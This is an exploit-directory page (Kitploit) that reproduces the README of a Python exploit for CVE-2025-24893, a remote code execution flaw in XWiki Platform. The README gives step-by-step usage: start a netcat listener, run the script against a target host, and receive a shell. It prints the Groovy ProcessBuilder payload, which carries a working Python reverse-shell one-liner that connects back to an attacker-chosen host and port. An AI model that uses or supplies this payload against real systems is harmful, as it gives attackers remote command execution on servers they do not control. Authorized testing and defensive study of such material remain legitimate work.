Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-24893 — Python3 exploit for CVE-2025-24893, a remote code execution vulnerability in XWiki Platform. Automatically detects HTTPS/HTTP, constructs a Groovy async macro payload, and delivers a configurable reverse shell for authorized security testing. | Kitploit
Tools/GitHubGitHub/hackersonsteroids/cve-2025-24893
ExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubhackersonsteroids/cve-2025-24893

cve-2025-24893

Python3 exploit for CVE-2025-24893, a remote code execution vulnerability in XWiki Platform. Automatically detects HTTPS/HTTP, constructs a Groovy async macro payload, and delivers a configurable reverse shell for authorized security testing.

View Repository
51351 year agoNot yet reviewed
Share

CVE-2025-24893 XWiki RCE Exploit

Exploit Banner

A simple Python3 script to exploit CVE-2025-24893, a remote code execution vulnerability in XWiki Platform, using a Groovy-based async macro and a configurable reverse shell payload.

⚠️ WARNING: This tool is provided for educational and authorized testing purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.


Table of Contents

  • Features
  • Requirements
  • Installation
  • Usage
  • Detection & Protocol Fallback
  • Reverse Shell Payload
  • License
  • Disclaimer

Features

  • ✅ Automatically detects whether the target supports HTTPS or HTTP
  • ✅ Constructs a Groovy ProcessBuilder snippet to avoid Runtime.exec quirks
  • ✅ URL-encodes the XWiki async+groovy macro payload
  • ✅ Configurable reverse shell (host + port)
  • ✅ Prints HTTP response code to help verify delivery

Requirements

  • Python 3.6 or higher
  • requests library
pip install requests

Installation

Clone this repository:

git clone https://github.com/hackersonsteroids/cve-2025-24893.git
cd cve-2025-24893

Usage

./exploit.py <TARGET_DOMAIN> <LHOST> <LPORT>
  • <TARGET_DOMAIN> The XWiki host (e.g. wiki.example.local).

  • <LHOST> Your attacker machine’s IP (where your listener is running).

  • <LPORT> Your listener port (integer).


Example

  1. Start a listener on your machine:
nc -lvnp 4444
  1. Run the exploit:
./exploit.py wiki.vulnerable.local 10.0.0.5 4444
  1. On success, check your netcat listener for a shell.

Detection & Protocol Fallback

Before sending the payload, the script:

  1. Tries https://<TARGET_DOMAIN>
  2. Falls back to http://<TARGET_DOMAIN> if HTTPS fails
  3. Exits if neither is reachable

This helps ensure compatibility with mixed‐protocol deployments.


Reverse Shell Payload

By default, the script uses a Python3 one-liner:

new ProcessBuilder(
  ['/bin/bash','-c',
   'python3 -c \'import socket,subprocess,os;'
   's=socket.socket();s.connect(("LHOST",LPORT));'
   'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
   'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'']
).redirectErrorStream(true).start()
  • You can modify the build_payload() function if you need a different shell (e.g. Bash, Perl, PHP, etc.).

License

This project is licensed under the MIT License. See the LICENSE file for details.


Disclaimer

This tool is designed for authorized security assessment and educational purposes only. The authors hold no responsibility for misuse. Always obtain explicit permission before testing any target systems.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    795
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    520
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    439
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    267
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →